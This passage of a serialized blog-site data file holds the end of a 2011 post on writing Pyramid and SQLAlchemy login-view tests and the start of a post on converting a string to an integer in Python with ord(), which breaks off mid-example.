#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eTestViews\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eIntegrationTestBase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_get_login\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\" Call the login view, make sure routes are working \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        res \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app.get(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.assertEqual(res.status_int, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e200\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_empty_login\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\" Empty login fails \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        res \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app.post(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, {\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'submit'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e})\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"There was a problem with your submission\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e res.body\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Required\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e res.body\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e res.status_int \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e200\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_valid_login\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\" Call the login view, make sure routes are working \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        admin \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e User(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eusername\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003epassword\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'admin'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        admin.activated \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session.add(admin)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session.flush()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        res \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app.get(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        csrf \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e res.form.fields[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e][\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].value\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        res \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app.post(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/login'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'submit'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Username'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Password'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e res.status_int \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e302\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eProblems with this approach\u003c/h1\u003e\n\u003cp\u003eIf a test causes an error that will prevent the transaction from rolling\nback, such as closing the engine, then this approach will leave your\ndatabase in a state that might cause other tests to fail.\u003c/p\u003e\n\u003cp\u003eIf this happens tracing the root cause could be difficult but you should\nbe able to just look at the first failed test unless you are running the\ntests in parallel.\u003c/p\u003e\n\u003cp\u003eIf you are good about writing and running your tests regularly you\nshould be able to catch individual tests causing issues like this fairly\nquickly.\u003c/p\u003e\n\u003ch1\u003eResources\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/testing.html\"\u003ehttp://docs.pylonsproject.org/projects/pyramid/en/latest/narr/testing.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.sqlalchemy.org/docs/orm/session.html#joining-a-session-into-an-external-transaction\"\u003ehttp://www.sqlalchemy.org/docs/orm/session.html#joining-a-session-into-an-external-transaction\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 2011\u003c/p\u003e","category":"Python","date":"2011-11-30T18:00:00-06:00","tags":["Python"],"title":"Writing tests for Pyramid and SQLAlchemy"}]},"Interviews":{"count":2,"posts":[{"id":["old","convert_a_string_to_an_integer_in_python"],"path":"old/convert_a_string_to_an_integer_in_python","contentHtml":"\u003cp\u003eA fun interview question some developers like to ask is to have you\nconvert ascii characters to an integer without using built in methods\nlike string.atoi or int().\u003c/p\u003e\n\u003cp\u003eSo using python the obvious ways to convert a string to an integer are\nthese:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string.atoi(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe interesting thing here is finding out where on the ascii character\ntable the number is. Luckily python has this already built in with the\nord method:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ehelp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(c) \u003c/span\u003e\u003cspan style=\"color: #FF938A; font-style: italic\"\u003e-\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e integer\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    Return the integer ordinal of a one\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003echaracter string.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e49\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'2'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e50\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can see that the numbers are grouped together on the ascii table, so\nyou just have to grab '0' as the base and subtract the rest:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo if we have the string '1234', we can get each of the individual\nnumbers by looping over it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_string \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_list \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e []\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_string:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   num_list.append(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(num) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e num_list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut now how to we combine all these together to get 1234? You can't\njust add them up because you'll just get 1+2+3+4 = 10.\u003c/p\u003e\n\u003cp\u003eSo, we have to get 1000 + 200 + 30 + 4, which is a simple problem to\nsolve. Its just number times 10 to the nth power, so the final solution\nis:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003enum \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003enew_num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003ebase \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eenumerate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(num)):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      new_num \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(n) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e base) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ei)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e new_num\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis code is a little verbose though, lets make it a dirty nasty one\nliner!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esum\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e([(\u003c/span\u003e\u003cspan style=\"color: 